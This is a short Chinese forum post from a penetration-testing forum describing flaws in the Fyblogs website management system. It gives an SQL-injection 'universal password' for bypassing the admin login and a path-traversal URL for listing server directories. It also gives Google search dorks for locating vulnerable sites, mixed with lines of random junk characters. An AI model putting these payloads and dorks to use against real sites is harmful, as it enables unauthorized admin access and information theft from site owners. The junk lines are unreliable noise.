中国网络渗透测试联盟
标题:
Fyblogs网站管理系统漏洞
[打印本页]
作者:
admin
时间:
2013-3-14 20:17
标题:
Fyblogs网站管理系统漏洞
后台万能密码 'or'='or'
. r: m: L1 o; x d3 I' \$ l
: i' Q0 g1 w/ I' d1 h
后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
5 I8 w# W4 F$ J6 P* ~, W
admin/uploadfile.asp?currentFolder=/upfiles/../
8 I; ^3 C0 a, U2 ~+ m B
9 w; B7 [. [0 P
漏洞证明：
1 E7 m" U) z% B+ j8 i
) }) W/ u) A: B+ V0 s! C) B; \
谷歌：inurl:type.asp?id=1 新闻中心
3 N3 z) H7 l- C. ^
或者 ：inurl:download_ok.asp?
/ [( s/ Q5 L" U! ]
. ]: T l! P- `( {, r) L
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2